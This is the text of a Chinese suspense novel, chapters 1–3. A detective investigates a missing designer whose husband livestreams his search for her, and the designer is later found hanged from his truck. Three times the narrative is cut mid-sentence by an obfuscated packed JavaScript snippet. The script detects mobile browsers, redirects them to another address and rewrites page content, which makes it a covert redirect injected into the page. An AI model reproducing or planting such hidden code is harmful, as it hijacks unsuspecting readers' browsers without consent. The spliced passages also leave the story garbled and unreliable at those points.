《枕边陌生人[悬疑]》 1. 第01章 陈秋池第一次见到方月华时,直觉就告诉她,这个人有问题。 他说:“陈警官,我老婆失踪了。” 男人声音十分平静,眉间也未见明显愁容,好似他讲述的事情与今天是个坏天气同等效力,不过是客气礼貌的聊天开头罢了。 他说他老婆叫李重,在市设计院上班,三天前去上海出差,结果一去不返,微信不回,电话不通。他打电话去老婆单位,这才知道老婆一周前就提了离职。 结婚十年的夫妻,丁克没小孩,生活中只有彼此。妻子辞职一周丈夫也不知道,妻子消失的第三天丈夫才发现出事。 这正常吗? 陈秋池质问这位“迟钝”的丈夫:你们夫妻感情如何? 方月华露出一个无奈的笑,说:“你难道怀疑是我?是我把我老婆杀了?” 之后,他非常恳切由衷地诉说着他有多爱他老婆。作为初中同学修成正果的典型婚恋模式,两人共享着漫长美好的青春记忆,对彼此知根知底,骨肉和血液都融在一起,夫妻感情怎么能不好呢? 对面这张脸有种天然的老实感和正直感,一不小心就会掉进他的诚恳叙述中。 陈秋池沉默地看着他越说越真诚的脸,往上一瞥,突然发现他的发型哪怕在台风天,哪怕在妻子消失的第三天也纹丝不乱。 还真是和他的姓一样,时刻都要端端方方。 对于老婆失踪一事,他解释说李重有时候就是爱跟他闹脾气,一不高兴就玩消失。只是这次闹得时间有点长。大概率过几天就回来了,但他还是觉得需要报下警,尽早把她找回家,以免出什么意外。 他像为自家小孩惹事而感到尴尬的家长,一脸赧然地不停低头道歉。 临走时,陈秋池让方月华近段时间不要离开本市,警方会随时联系他。 方月华个子很高,陈秋池只比他低一点,说完这句话后,她一眼瞥见对面男人的鼻子快速抽动了两下。 四平八稳的国字脸像被谁猛然推入水中,在水波晃荡中变了形。 不过也只是一瞬,他迅速把乱掉的脸捡起来,淡定地说了声好。 - 然而,接下来的一周时间,李重还是没有回来。 她人间蒸发了。 - 7月14号上午,李重推着行李箱离开文汇花园,消失在监控盲区,之后再无痕迹,她没有买前往上海的机票,也未在任何酒店住宿,更没有任何消费记录。她也在几年前与母亲断了联系,母亲得知她失踪了,只是冷冷回了句:“她说过,她就是死也不会回来看我一眼。”其他亲戚朋友同事更无人知道她去了哪里。 消息在文汇花园渐渐传开,很多人瞬时想起杭州那起杀妻分尸案,顿觉毛骨悚然……或许这个消失的女人又悄无声息地被带回了文汇花园,下水道常年不散的异味就是因为那什么。 经过慎重考虑,7月24日大清早陈秋池带着人在小区周围拉起了警戒线。失踪者住所、小区绿化带、小花园、天台、蓄水池,能找的全部翻查了一遍。 有好事者将照片发到网上,舆论热度一下子起来了。 有人说这又是一起杀妻分尸案,不然警察没事干大张旗鼓来失踪者家里搜查?又有人把方月华接受记者采访的视频发到网上,大家见他陈述妻子失踪时平静异常,越发觉得他就是凶手。 其实就算他在镜头面前痛哭流涕,大家也会觉得他就是凶手。 反正就是他了!跑不掉! 小区大门口、围栏处、对面小区的屋顶都站满了前来直播的人。甚至有人连夜在文汇花园门口做法事,跳大神,神神叨叨一番表演后说消失的李重就在这个小区的地底下,彻夜哭泣,不愿投胎。 陈秋池所在的滨海分局刑事大队就在文汇花园附近,也成为直播对象。但凡警车进出,消息立马传到网上。 一时间分局被迫站到了舆论的潮头,尤其刑事大队的压力骤然加大…… - 李重所在的设计院也陷入舆论漩涡。这年头大家工作压力都大,但凡谁跳个楼消个失出个事,广大社畜立马感同身受,恨不得在网上狂喷,用口水淹死对方领导,顺便淹死自己领导。 设计院是什么地方?项目大过天,图纸多如毛,时间逼得比死神还狠,改不完的效果图,做不完的分析图,加不完的破班,项目一个紧着一个,好像永远没有尽头。 李重有没有可能是因为工作压力太大做了不理智的行为? 警察进进出出,对李重的领导、同事反复盘问。 “李重这个员工非常踏实,项目交给她我们几个院领导都非常放心。原本我打算下半年给她涨工资呢,谁知道出了这档子事。” “设计院很多擦屁股项目都是李重接的,她心态很好,从不抱怨。” “她跟谁都笑呵呵的,没心没肺没烦恼。” “她跟他老公感情很好。我们是饭搭子,经常聊彼此的老公,我基本在骂,她全是夸赞。” “她突然辞职是我万万没想到的,她悄悄提了辞职流程,也没和我们说一声就走了。还真是气人。我们做了八年同事啊,我以为我们感情很好的。” 陈秋池看着面前的笔录,在李重名字旁写下三个词:“讨好”、“恋爱脑”、“完美”。她皱眉想了想,在“恋爱脑”旁打了个问号。 - 在所有人都以为方月华马上就要被迫卸下伪装面具,成为新晋杀妻凶手时,滨海分局发布警情通报,只说此案还在调查中,请大家切勿信谣传谣,并未提及方月华半个字。 同时警方组织人员在文汇花园外围请那些凑热闹蹭流量的主播们离开,分局外则加大站岗。 方月华也没被抓起来。 这下很多人看不懂了。按理说这么受人关注的案件,警察都地毯式搜索了,难道什么都没发现吗? 要么是这个丈夫反侦察能力超绝,欺骗了经验丰富的警察,要么这个丈夫被冤枉了。 鉴于对警察能力的信任,后一种可能性更大。 瞬时有人怜爱起这个可怜的帅气丈夫了。老婆生死不明,如今自己还身陷怀疑,这世界上还有比他更惨的人吗? 很多人甚至认为李重就是个有病的作精娇妻,竟然用故意躲起来的无聊手段惩治老公。现在她肯定看到所有人都在找她,事情闹得不可收场,就是想回家也不敢回了。 舆论导向很快倾斜。 - 与此同时,随着时间一分一分流逝,方月华不再相信警察。他请了长假,化身死了儿子的祥林嫂,逢人就问:“你看见我老婆了吗?” 他像不知疲倦的陀螺,每天天未亮就出门四处张贴寻人启事,以文汇花园为靶点,从方圆三公里,到方圆十公里,再到全市范围……只要他还有一口气。 悬赏金额从一万元涨到十万元,手机都被打爆了,方月华也不辞辛苦,哪怕知道可能性不大也要过去看看真假。 他找遍了所有李重可能认识的人。 这些人几乎都是李重在工作场合认识的,并未深交,也说不出个所以然来。 他们一脸同情且敬佩地看着这个被不幸笼罩的男人,饶是端正的脸庞现在十分憔悴,下巴微微冒着胡茬,他的头发依然梳得整整齐齐,衣服依然穿得整整洁洁,用最后一点力气顶着如此巨大的变故。 每每说到最后,他总会用沙哑的声音喃喃道:“都怪我,都是我的错,如果我稍微留意一点,再多关心一点……” - 没有如果。 李重消失了,如同一滴水落入大海,一缕风吹进树林,了无痕迹。 就在这时,有人找上了门。对方声称是MCN机构,提供自媒体内容策划和宣传。方月华当然知道他们是干嘛的,现在很多网红都会签约这样的公司。 他首先表露的情绪是愤怒,义正言辞地声称自己不想当网红,不想趴在生死未明的妻子身上吃红利。 对方显然预判了他的预判。 “方先生,我们对您的不幸表示同情,但在线下张贴寻人启事效率太低,您可以在我们平台发起寻人直播……群众的力量不容小觑,说不定马上就有好消息传来。” 方月华有些迟疑。警察说前几天围堵文汇花园的主播们严重影响案件侦破,且万一老婆被谁绑架了,这个人基于舆论压力害怕恐惧,把老婆撕票了可怎么办? 对方依然预判了他的判断。 “方先生,您妻子消失已经两周多,如果被绑架为什么没有索要赎金的电话?您发起寻人直播,可以达成三个目的。第一,让更多的人看到您妻子的信息,摄像头拍不到的地方人的眼睛总能看到。第二,若是您妻子故意藏起来,您在网上深情呼唤她,启发她对您们夫妻感情的美好回忆,说不定她就自己回来了。第三,”说到这里,那人一脸同情地看着方月华,“您也是受害者,若不在这时候站出来,还自己一个清白,以后您还怎么好好活下去?再说,如果警察有办法,早该把人找到了。他们说的话您还要听从吗? - 陈秋池是两年前来的滨海分局刑事大队。 她很白,很高,很纤细,在一众男同事中非常突出,像一只白天鹅误入猛禽圈,衬得旁边的糙老爷们更加沧桑。 刚开始没人愿意和看似娇弱的陈秋池搭档,当然,她也没想躲在谁的羽翼下偷懒。队长江离用了一年时间考察她,发现她冷静沉默不张扬,且敏锐于细节,执着于搜查,办案有自己的一套逻辑和方法,索性撒开手让她独立办了几个案子。 针对李重失踪案,陈秋池原本以为会很快把人找到,没想到竟然如此跌宕起伏,连领导的领导都打来电话质问,好似这个案子没办好,以往的功劳都会被抹杀。 队里开会讨论,有人提出会不会是这对夫妻自导自演?搞话题,造流量,下一步就要直播带货?过几天李重就出现了,随便编个理由这事就过了,但他们的账号值钱了。 陈秋池对此这一观点持怀疑保留态度。 首先,尚未发现这对夫妻提前谋划的证据。经过走访调查,也没发现他们和谁交恶结仇。 方月华8年前名下的家具厂因经营不善破产,他欠了很多钱,被人告了,成了失信人,但一年前他还了钱,把自己从失信人名录上踢了出去……从表面上看,日子触底反弹,在往好的方面转变。他们会冒着触犯法律的风险,肆无忌惮自导自演,制造流量谋求利益吗? 其次,陈秋池发现李重非常善于“伪装”。 这个女人热衷于在所有能注册的社交媒体上展露自己的幸福生活。她健康饮食,热爱吃草,低卡有机,摆盘拍照,且每次双份出镜。她种花养草,多肉绣球,蕨类苔藓,晨曦下,晚霞中,阳台那张小茶几上两杯茶饮,两对脚尖碰在一起,一副岁月静好的幸福画像。她热爱爬山,看展览,逛公园,考察街巷,身为设计师,拍照技术好,又有审美能力,在各个平台也算积累了些粉丝。 但凡有朋友同事或粉丝留言,她总会积极回复,各种热情。 除了这些平台上她看起来很努力很幸福,她在设计院也这般处理同事关系,没有人不喜欢她,没有人不赞许她,因为她来者不拒,事事抢先,如小太阳般,热烈燃烧自己,照亮他人。 但没人知道李重住在文汇花园这样的破烂小区,她刚刚经历了将近八年的人生低谷,她的丈夫去年才解除失信人身份,她的丈夫连她离职一周都不知道…… 所以李重如此煞费苦心掩盖,怎么会愿意将自己的伤疤彻彻底底暴露在所有人面前?怎么会愿意那些但凡长了嘴的,都来评判她的人生? 现在所有人都在讨论她,讨论她的丈夫,她的婚姻,那些她不想面对的,组成她35年人生的人和事,不受控制地渐渐浮现出来,对她来说,是噩梦,是摧毁,是灾难。 所以她怎么会自导自演这场戏? - 所以当方月华抱着李重的照片出现在直播镜头时,陈秋池顿时不寒而栗。 不过半小时,大家都知道了李重是黔北人,爱吃羊汤,小时候失语好几年被人叫做小傻子,长大后被前男友骗得很惨,毕业后又被母亲逼婚。 然后方月华出现在她的人生关口,把她娶回家,又爱她护她整整十年,简直就是她悲惨人生的拯救者。 直播的后半段,方月华还系上围裙,对着镜头,要为消失不见的李重做一碗隔空“爱心羊汤”。 镜头里一边是厨房案台,上面摆放着血红的羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284743|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉、白腻的羊骨头、羊蹄子、羊尾巴以及淡粉细嫩带着白色纹路的脑髓物,另一边是李重满脸笑容的照片,以及她的详细信息。 哐哐哐!砰砰砰!当当当! 刀在方月华手下跳舞。前刃片肉,薄厚适当,后刃剁骨,刀落骨分。 细微的血沁入菜板,隔着屏幕陈秋池都能闻到新鲜羊肉的腥膻味。 “我老婆最爱我做的羊汤,每次都会喝得底朝天。也不知道她现在有没有好好吃饭?” “老婆,只要你能完完整整地回到我面前,我向你保证,不管发生什么,我什么也不会说,只会紧紧搂住你,永远爱你疼你。以前我做饭,你总像个小孩一样趴在我后背,说就喜欢看我做饭的样子。可现在,我身后空无一人,心里也空了……” “老婆,要是因为我做错了什么让你不开心,你不要躲起来吓我!你回来!站到我面前!打我!骂我!随便你做什么都好!” 网友们听得一把鼻涕一把泪,成千上万的弹幕飞出来。大家要么呼吁李重别闹了,赶紧回家,要么断定李重跟人跑了,给方月华戴了绿帽子,还有人直接建议方月华可以就地休妻,这种爱闹脾气的娇妻不要也罢。 方月华看着留言,沉默了半天后说,“不。我们之间不仅仅是爱。我连我的命都可以给她。” 他再次把李重的照片怼向直播屏幕,她的弯弯眉眼再次被放大。许是视角的缘故,她的脸有些变形,眉眼耷拉出弧度,一副要笑不笑要哭不哭的怪异模样。 妻子矗在前,丈夫隐在后……妻子被迫与丈夫合演了一出双簧。 前面的生死不明,口不能言,只能任凭后面的操纵她人生的叙事角度。 这些叙事是否真实?妻子是否同意被推到台前?是否自愿被他操纵? 是否愿意接纳这样铺天盖地所谓的“爱”? 是否愿意欣然要了他的命? - 陈秋池把方月华叫到局里,告诫他这么做可能会刺激案件相关人,还提醒他,把李重的个人信息、情感经历、生活细节抛到网上去让所有人看到、评判、指责,李重可能会非常不开心,还可能涉嫌侵犯她的个人隐私权。 “侵权?我们夫妻同体,我的就是她的,她的就是我的,哪里来的侵权?”方月华异常平静地看着陈秋池,“她会不会不开心,我不知道。但我找不到她,很不开心!” - 方月华似乎找到了自己的“新赛道”。身为当下关注度极高的社会人物,他的身份在杀人犯、无罪者、受害者之间摇摆,本身就充满争议,加上他人长得端正,天然有观众缘,如今背负“深情的丈夫、受伤的男人、被抛弃者、窝囊人夫”等标签,第一次直播果然一炮而红。不过短短几天涨粉无数,收到的直播打赏以万计。 然而,轰轰烈烈、热热闹闹的线上直播寻找了十来天,连李重的一根头发丝都没找到。 在李重消失的第二十天,恰是十六最圆月,方月华重金请来一位鹤发童颜的“大师”,他要用诡秘的法术寻找妻子。 大家在瞠目结舌的同时,感受到这位丈夫已经彻底没了办法,这是死马当作活马医啊,也是他“灼灼君子意,皎皎明月心”的最好证明。 这要不是真爱,什么是真爱? 是夜,火烛在文汇花园大门外围作一圈,大师一身道袍盘坐在火圈中央。火圈外围是闻风而来的不怕封号的各路主播,以及不怕好奇害死猫的各色路人。 大师身后摆放着一个巨大的铜镜,古朴幽锈,微微泛黄的镜面隐约可见摇曳的烛光。两个十来岁的小童站在铜镜两侧。 方月华一脸肃穆,立于火圈外。 两个小童将一张泛黄粗纸贴到铜镜上,又用麻油将粗纸涂抹一遍。 大师起身,双手沾满麻油,面南而立,喃喃念咒。 “皎月盈盈,不亏光华。银迢昭昭,神门启临。昆仑来仙,琼楼降神。愿赐灵气,慈恤生人。” 大师不愧是大师,吟诉幽唱,如绵软的水波,一浪又一浪将周遭焦灼看热闹的心火一下子浇灭了。 一切陷入沉寂。 仿佛天地间只剩下被神灵挑中的他。 他的手、他的眼、他的心门,上通天庭,下接凡尘,脚迈乾坤步,手捏子午印,查地府,问阴阳,看过去,链未来……任谁也逃不脱,藏不住。 大师说唯有通灵者才可从铜镜中窥视失踪者的信息。他带来的童子便是通灵者。万分之一的普通人,亦可看到,他们被称作自带仙缘者。 半小时后,大师收声止步,双手摩擦镜面粗纸,就在这时,点点幽绿萤火骤然升起,在铜镜四周缠绕。 粗纸落,镜面现。 惊呼声一片。 大师招呼两个童子上前朝镜中窥探,方月华亦探头看过去,火圈外的人们则踮起脚,拥着挤着也看向昏黄的镜面。 一童子高呼:“她还活着。” 另一童子也高呼:“就在黑屋里。月光照她的脸上,她在哭。” 方月华顿了片刻,也高呼起来,“我也看到了。我老婆还活着,她穿着黄色裙子,她在冲我哭,哭得好伤心,老婆……” 火圈外的人们越发激动,要不是有组织者阻拦,怕是要直接冲进去推开两个童子自己看。 “哎呀,我也看到了。” “我也看到了。” “哪里哪里?我咋啥也看不到。不就是个破破烂烂的镜面嘛。” …… 是夜,神迹瞬息出现,然后骤然消失。方月华终于找到了自己的妻子。她还活着,她在等他解救。 在灼灼烛光中,方月华朝向人群高高举起双手,又激动又兴奋。 满月光华此刻也偏爱了他,顺着他的手指流淌下来,掠过胳膊,蔓延身躯,最后包裹着他,为他镀上一层璀璨的光芒…… 他赋予了李重充沛的爱,把她从惨淡人生中解救出来,此刻他背笼月泽,也将继续做她的“救世主”,直至永远。 - 然而。 在诡秘法术后的第三天,在李重消失的第二十二天,她出现了。 被方月华亲手……吊死在了他的车顶。 众目睽睽之下,他从救世主变成弑妻者。 2. 第02章 陈秋池赶到的时候,文汇花园的地下车库外已然被乌压压的雨伞包围了。伞下众人的脸在雨雾中模糊不清,漏出来的议论声窸窸窣窣,夹杂着雨声更显聒噪。 华南地区缠绵的雨季让文汇花园吃尽了苦头。雨水灌入地库久久不能消散,水泵24小时作业也无济于事。助手苏鹤掀开警戒线,陈秋池戴上手套挤过人群,淌着水走了进去。 幽黑的梁顶寻不见监控的踪迹,只有几盏应急灯白天黑夜惨烈地照着点光。 陈秋池皱着眉,“是方月华报的警?” “是,也不是,”苏鹤迟疑道:“很多人报警,包括他。” - 雨季的停车场像是焖烧壶,刚进来一会胸口就压了千金石。 方月华此刻就是只被抽了筋的软脚虾,跌坐在积水里,面色灰白,头发也支棱不起来了,一缕缕塌在头皮上。 陈秋池注意到他的胸口还带着麦克风。 他的身后是一辆白色长城皮卡车,车斗上方挂着一抹黄……死者高高悬吊,长发绾在脑后,露出死灰色的脸,穿的正是李重失踪时的那条黄色长裙,领口被人扯破,露出冷腻的皮肤,再细看,还有泛红的淤痕。 陈秋池走过去。 是麻绳。 一头绑在皮卡车的后杠上,一头绕过地库顶部的消防管,最后缠在李重纤细的脖子上。 索命的绳紧紧绷直,如钢如铁。 黝暗的地库变成黑色画布,而她以身为笔,调以黄色,无力垂耷着,头顶上恰有一灯,昏黄的光束掠过她的脸,被积水吃了一半,另一半反射上来,落在她幽白的小腿上。 如同一幅受刑图。 陈秋池心口紧紧一窒。 过去的十几天,监控最后捕捉到的李重的样子被她日夜琢磨,刻入脑海。这条黄色长裙她再熟悉不过,此时骤然出现在自己面前,衣服在,主人亡,这种冲击力饶是她也一时难以接受。 据方月华说,李重买了一堆同款同颜色的黄色长裙,却从来不穿。问她原因,她便露出少见的不耐,让他别管。方月华当时还说:“万万没想到,我头一次看她穿上这条裙子,竟然是她离家出走得时候。” 现在,他第二次看到老婆穿着黄色长裙,而她死在了他的面前。 - 死者双脚离地面一米多高,旁边也没有任何用以攀爬的物体,除了皮卡车车斗。因为积水,也没有脚印可供判断。 “我没杀她!”方月华抬起头,黝黑的眼珠子纹丝不动。 陈秋池冷冷看着他。 方月华抬起双手,有泥,有水,有渣滓,可能还有屎尿,混着排不出去的污水,难闻的气味扑鼻而来,浑身上下又湿又粘,贴在身上像甩不开的臭血。 他四平八稳的脸不停地抖动,很快,无数条缝隙崩裂开来,从眉头到下颌,从右耳到左耳,戴了许久的面具彻底碎成了渣。 “她为什么要死在我车后头?为什么?这个家哪里对不住她?就不能好好过日子吗?耍脾气闹失踪,现在还把自己吊死在我面前?” “草!死也不能死个干净地方吗?草!” “草!让所有人都认为我是杀人犯?!!她就这么恨我吗!” 他咆哮着,狰狞着,常年端正的脸失了漂亮棱角,双手使劲拍打着水面。饶是如此还不知足,爬起来试图去拽李重悬挂在空中的幽白的脚,被苏鹤等人狠狠压到地上。 他的脸没入水中,刚骂一句草,脏水咕噜咕噜灌进去……他还想骂,脏水继续往里钻,直到把他灌饱。 陈秋池盯着他,试图从他脸上看到慌乱、震惊、害怕、伤心,然而只有愤怒、愤怒、愤怒! 像没被满足的小孩。 - 法医很快来了。勘察现场,拍照测量,提取痕迹和关键物品。方月华作为报警人以及案件相关人员被苏鹤带回警局问话。 警方加派人员对已经封锁了的文汇花园进行彻底搜查。 前段时间业主们害怕再出事,主动找到物业,他们愿意出一部分钱优化提升小区的监控系统。但物业说自己按照90年代标准一个月每平米只收几毛钱物业费,实在拿不出这笔资金。业主们非常生气,说自己多年缴纳的物业费都喂了狗。双方争执不下,到现在监控还没安装。 现在失踪的人直接死在小区地库,双方这下都傻眼了。 她这么多天到底躲在哪里?又是怎么钻回地库死在了里面? - 方月华像困兽一样被人押着从昏暗的地库走向唯一的出口,那里有光,也有伞下一张张幽冷模糊凝视着他的脸。 - 回去路上,苏鹤打开手机让陈秋池看一段直播视频。 日期非常新鲜,就在一小时前。 镜头很摇晃,方月华有些兴奋的脸出现在镜头里。他边开车门边说:“家人们,我见到鬼了。” 说完他呸呸呸了三声,“不是,我好像刚才看到我老婆了。” 弹幕立马炸了。 【在哪在哪?】 【我靠,哥你别吓我!】 【是不是你日思夜想出现幻觉了?】 【看吧看吧,开始靠编鬼故事骗流量了。】 【感觉不像假的。你们看他都激动地出汗了。】 “真的。就在刚才。她还是穿着那条黄色裙子,从我面前跑过去。我看得清清楚楚,可等我跑过去,人却不见了。” 任凭他怎么解释,弹幕里质疑声吵个不停,说他又没照片又没视频,一张嘴随便怎么编故事都行。 “我干嘛要骗你们!我以我老婆的名义发誓,我要是说半句瞎话,我不得好死。” 方月华有些生气,他还有更重要的事要做,不想跟黑粉吵架,反正有一堆粉丝会帮他撕。 他扭动钥匙,皮卡车缓缓驶出停车位……这时候有粉丝在弹幕里惊呼。 【卧槽卧槽!后头那个黄色玩意是个啥!】 【鬼啊!】 【脚!脚!】 【好像是个人!】 【方哥你快停车!停车!】 方月华只顾着往前开压根不知道发生了什么,突然他感觉车斗被狠狠抻了一下,后头似乎有什么东西扯着不让他走。 他停了下来,看见弹幕一溜烟的话! 【停车!停车!停车】 【有人吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284744|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后头!】 他心头一颤,猛然回头……透过后窗玻璃他看到一缕黄色裙摆,以及不停挣扎的两只脚——左脚脚腕上系着一条银质蛇形脚链,李重属蛇,那是他前段时间亲自去商场给李重挑选的35岁生日礼物——很快,踢跳的双脚停止了抽动,一切归于沉寂。 - 网上早已闹翻了天。 方月华的粉丝们直接目睹一场“谋杀”。这位号称爱老婆、疼老婆、死也要找到老婆的深情丈夫,用自己的白色皮卡车,直接把老婆吊死在了大家面前。 这是直播,是实时画面,是真实死亡,是人生有且只有一次的生命血淋淋地消失在自己面前……想必任何正常的人类都无法直视,现在却被迫看了个清清楚楚。 那抹黄色垂挂的人形,那条索人性命的绳子,那张煞白死灰的脸庞,永远再也无法挣扎的双脚,悉数录制在每一段被疯狂转发的视频里,刻进所有人的脑海里,成了午夜惊醒的恶性素材。 那些围观看热闹的人们尚且接受不了,为方月华打投助威,称赞他是纯爱战士的粉丝们更像吃了屎一样,极度恶心,极度后悔,恨不得当场杀了他才解气。 死变态!反人类!没人性!去死吧! 他们纷纷退群,彻底删除,像装作什么也没发生的鸵鸟,以最快的速度钻进义愤填膺的正义人群中,继续做回具有判断能力和道德底线的正常人。 - 按方月华的供词,他之所以出现在车库是因为他昨天收到一位粉丝短信,对方声称拍到他老婆了。照片很糊,又是侧影,可他一眼看出照片上那人就是他老婆。拍摄日期还是前天。 对方约他今天上午见面,非要当面拿到钱后才肯告诉他详情。所以他今天大清早就下楼开车,还准备开直播把这个好消息分享给大家。 方月华的手机确实收到了190开头的短信。陈秋池让人快速查了查,这个手机号的主人刚被偷了手机,还没来得及注销,目前看来应该与本案无关。至于那张照片,经过侦查人员认定,是被软件处理过的假照片。 发照片的人是为了骗钱?还是为了把方月华引诱出来设局? 亦或是,这一切不过是方月华的自导自演? - “一定是有人要害我!”方月华恨不得跳起来指天发誓,他重重捶打着椅子大声喊冤,“我碰都没碰她……” 说到这里他两眼突然放光,“一定是她自己把自己吊死的!她把绳子缠到我车上,自己钻到绳圈里,故意让我吊死她!” 陈秋池等人异常沉默地盯着他。 他自顾自地得出这样一个结论,像是发现新大陆般手舞足蹈。他的四肢被头顶炙亮的光掠过……头颅变形了,肚子臃肿了,扭动的四肢组成巨大阴影,落在审讯室的墙壁上,犹如洞穴人在石壁上磨刻的远古怪物。 “她是谁?”陈秋池问。 方月华喷着鼻息,“我老婆啊!” 陈秋池缓了口气。 “那么大一个活生生的人,还是你挂在嘴边的最亲密的爱人,死在了你面前……” “你难道没有一点点伤心吗?” “你看不见她吗?” 3. 第03章 李重啊。 你活着的35年里,有人真正看到过你吗? 或者,我换个问法,你活着的35年里,你想让别人看到真正的你吗? 没有。 并不。 - 你在你母亲肚子里的时候就很会伪装。207地质队医院的王医生还记得1989年的那个初夏,你母亲“贿赂”她十斤土鸡蛋,再加上两人同一个大队的情意,用医院那台刚买来的B超,第一次看到了你,和你的哥哥。 冰凉的超声耦合剂涂抹在你母亲撅得比山高的肚子上,黑白屏幕上出现两个小小的胎儿。 一左一右,镜像对称。 不知道你用什么方法糊弄了经验丰富的王医生,她以十几年的行医经验告诉你母亲:这两个都是男孩。 你母亲拖着笨重的身体,扶着肚子,趾高气扬地走在地质队家属区。 家属区被泾渭分明地分成了两部分。南边靠着河的是1975年建造的土屋,俗称土窝子,土墙灰瓦,窗户极小,一到夏天就热成蒸笼,一到冬天又冻成冰窟。北边地势高的地方新建了好几排红墙红瓦的小洋房,有天花板,有水泥地,门窗又大,被称作干部房,十分抢手。 要是往常,你母亲会快速低下头越过北边干部房,酸不溜几地回到自己的土窝里,可这一天,速度放慢了,两侧看厌的房子和树木此时此刻变成了最美的风景,她一点都不舍得眨眼,左看看右看看。 果然人们注意到了你母亲,纷纷与她打招呼。 她挺着明显超过七个月的大肚子悄悄说:“双胞胎,两个都是男孩。” 她的话果然惊起哇声一片。一举得两男,还只受一茬罪,有福有福。 你的母亲眉眼笑弯了,嘴上说着生两个讨债的有什么好,可慈爱的手抚摸着有些紧绷的肚皮,显然在说反话。 有人羡慕,当然有人嫉妒。 “两个男孩也不错的。要是一男一女龙凤胎,”对方捂着嘴嘿嘿笑,“那就不是福报,是孽报。” 你母亲不在乎这个古老传说,只当对方没文化,瞎迷信,还嫉妒。 207地质大队隶属于省地矿局,是事业单位。计划生育四个字悬在大队所有人头上,是高压线,碰不得。就是住在干部房的干部们生不出男孩也只能仰天长叹。 你母亲一下子怀了两个男孩,必然成为大家羡慕的对象。她对此非常清楚,所以她的肚子比干部房还金贵,还招人嫉妒。 有人上前抚摸你母亲的肚子想沾一沾喜气,有人仔细询问你母亲怀孕前吃了什么做了什么,有人则悄声问你母亲是不是那样时摆了什么不得了姿势。你的母亲红着脸吵对方啐了一口,只说这都是天注定,强求不来的。 接受完“顶礼膜拜”后,你母亲终于心满意足地回到了自己的土窝子里。 低矮的屋檐下一窝鸡正饿得叽叽乱叫,你父亲像是听不到,皱着眉站在门口质问你母亲去哪了,他难得回来一趟结果连饭也吃不上。 土房子墙挨着墙,连个遮挡的院子都没有,说话声音大一点隔壁都能听到,你母亲讪笑着赶紧把你父亲拉回家。 她不想在你父亲恼火的时候说出双胎儿子这件大喜事,转过身麻溜下了碗面条,家里仅有的两个鸡蛋也变成荷包蛋卧进你父亲的碗里。 收拾妥当后,你母亲才小心翼翼地让你父亲猜猜她肚子里是什么? 你父亲眼皮都没抬,说:“人”。 这个答案看似幽默,实则敷衍。你母亲只看到了第一层,她笑得格外夸张,伸出两根手指又让你父亲猜。 你父亲立马没了耐心,把她的手推开。 你母亲有点失望,但也只是一瞬。她指着自己的肚子说:“我怀了两个,王医生说都是男孩。” 你父亲终于肯抬头仔细看着你母亲。这才发现她脸上长满了斑点,肚子也大得出奇。 你母亲从没有被你父亲这样仔细注视过,她的脸红了起来,笨重的身子也变得轻盈。 “怀儿子会变丑,”你父亲难得笑起来,“你还是双倍的丑。” 你母亲当即就哭了,哭得肚皮更紧,哭得你父亲摔门而去。 翌日你奶奶出现在你家门口。她是个精明的小老太,拎着一罐香油塞你母亲怀里,脸不红心不跳地把她之前找尽理由不来照顾的事掀篇了。 她说我儿子连夜回家把我请来照顾你,对你可真好。 她说我儿子天天把脑袋绑在裤腰带上去野山里找矿,你可要心疼他,别乱花他的钱。 她说你一口气怀两个男崽,我儿子可真厉害。 说完一屁股坐下来说她饿了。 你母亲来不及消化这些话,就被催着进厨房做饭。到饭点时,你父亲回来了。他难得走进厨房,还给你母亲洗了个苹果……你的母亲顿时两眼泛红,再回头时,眉眼间完全不见昨夜的愁容,美滋滋地把苹果切成块,放进盘子端到餐桌上。 你母亲只吃到了一小块,剩下的不是进了你奶奶的嘴里,就是被你奶奶塞进你父亲的嘴里。 - 你父亲子承父业。中考时跑去参加师范考试,明明已经拿到了录取通知书,却被你爷爷强制参加技工学校考试。他以地质队子弟的身份轻松考上了这个地质系统内部的学校,只能与心爱的师范学校挥手道别。 1983年你父亲19岁,刚毕业就被分配到了207地质队。 他运气好,赶上好时候。 80年代初,地质工作一改大运动期间萎缩后退的局面,从1982年开始,全国范围内掀起第二次找矿热潮。 207地质队接到任务,组织年轻技术人员前往天柱找矿。天柱这地方,山大,坡陡,沟深,你父亲作为地质员背着地质包,和钻机队一头扎进去,一扎就是三年。高大威武的钻机被硬生生抬进去,竖起来,它们像闯入连绵不绝矿区的异型生物,用坚硬的触角狠狠扎进去,扎进岩层,取走样品,判断含矿地层、矿体厚度、矿石品位。 日子是苦的,结果是甜的。你父亲和队友们一起探明这个偏远山区竟然蕴藏着超一亿吨的重晶石,占到全国已探明储量的30%。 你父亲很骄傲,他靠着这三年的努力不仅获得了中级职称,还拿到了地矿部颁发的“勘察进步三等奖”……虽然是集体荣誉称号,可你父亲认为他的功劳只多不少。 1986年回到队部后,你爷爷安排你父亲娶了你母亲。原因无它,只因你外公与你爷爷是多年朋友,两人感情深厚,就想结为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 